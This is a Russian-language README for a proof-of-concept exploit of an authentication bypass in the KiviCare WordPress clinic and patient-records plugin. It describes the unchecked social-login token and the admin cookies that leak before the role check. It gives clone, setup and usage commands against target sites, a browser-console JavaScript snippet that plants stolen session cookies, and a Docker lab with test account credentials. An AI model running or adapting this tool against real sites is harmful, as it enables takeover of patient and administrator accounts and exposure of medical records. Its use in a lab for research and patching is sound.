
PoC-эксплойт для CVE-2026-2991 — обход аутентификации в плагине KiviCare для WordPress (≤4.1.2), позволяющий захват учётных записей пациентов без аутентификации и извлечение административных сессий.
CVE-2026-2991 — это уязвимость обхода аутентификации в WordPress-плагине KiviCare – Clinic & Patient Management System (EHR), затрагивающая все версии вплоть до 4.1.2 включительно.
Плагин предоставляет публичную REST-конечную точку /wp-json/kivicare/v1/auth/patient/social-login, которая аутентифицирует пользователей через социальный вход. Функция patientSocialLogin() принимает адрес электронной почты и токен доступа, но никогда не проверяет токен у указанного социального провайдера. Любой неаутентифицированный злоумышленник может войти как любой зарегистрированный пациент, указав только его email и произвольную строку в качестве токена.
Кроме того, файлы cookie аутентификации WordPress выдаются до проверки роли пациента. Это означает, что для учётных записей, не являющихся пациентами (включая администраторов), ответ возвращает HTTP 403, но при этом содержит допустимые заголовки Set-Cookie — что позволяет злоумышленнику получить воспроизводимую сессию администратора.
Затронутые версии: kivicare-clinic-management-system <= 4.1.2
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-2991.py --url <TARGET_URL> --email <TARGET_EMAIL> [--login-type <google|apple>] [--timeout <SECONDS>] [--useragent <UA>]
Обходит аутентификацию зарегистрированного пациента. Скрипт возвращает его полную сессию, включая nonce и воспроизводимые cookie.
python3 CVE-2026-2991.py --url 'https://target.com' --email '[email protected]'

Укажите email любого пользователя, не являющегося пациентом (например, администратора). Конечная точка выдаёт валидные auth-cookie до проверки роли и возвращает 403 — эти cookie извлекаются и выводятся.
python3 CVE-2026-2991.py --url http://localhost:8080/ --email '[email protected]'

После успешного запуска скрипт выводит JavaScript-фрагмент. Откройте целевой сайт в браузере, вставьте фрагмент в консоль браузера (F12 → Console) и нажмите Enter — он установит украденные cookie и автоматически перенаправит вас в панель управления.
(() => {
document.cookie = "wordpress_<hash>=<value>; path=/";
document.cookie = "wordpress_logged_in_<hash>=<value>; path=/";
window.location.href = "http://target.com/kivicare-patient-dashboard";
})();
Автономная среда Docker Compose с предустановленным уязвимым плагином и реалистичными тестовыми данными. Подробнее см. в DOCKER.md.
cd docker/
docker compose up
Лаборатория создаёт следующие учётные записи при первом запуске:
# Bypass a patient
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
# Leak admin session cookies
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
Этот инструмент предоставляется исключительно в образовательных и исследовательских целях. Создатель не несёт ответственности за любое неправомерное использование или ущерб, причинённый данным инструментом.
| Role | Username | Password |
|---|
| Admin | admin | [email protected] | admin |
| Doctor | dr.harris | [email protected] | Doctor@123 |
| Doctor | dr.chen | [email protected] | Doctor@123 |
| Doctor | dr.okonkwo | [email protected] | Doctor@123 |
| Patient | james.ford | [email protected] | Patient@123 |
| Patient | sofia.reyes | [email protected] | Patient@123 |
| Patient | oliver.knight | [email protected] | Patient@123 |
| Patient | amara.diallo | [email protected] | Patient@123 |
| Patient | dan.walsh | [email protected] | Patient@123 |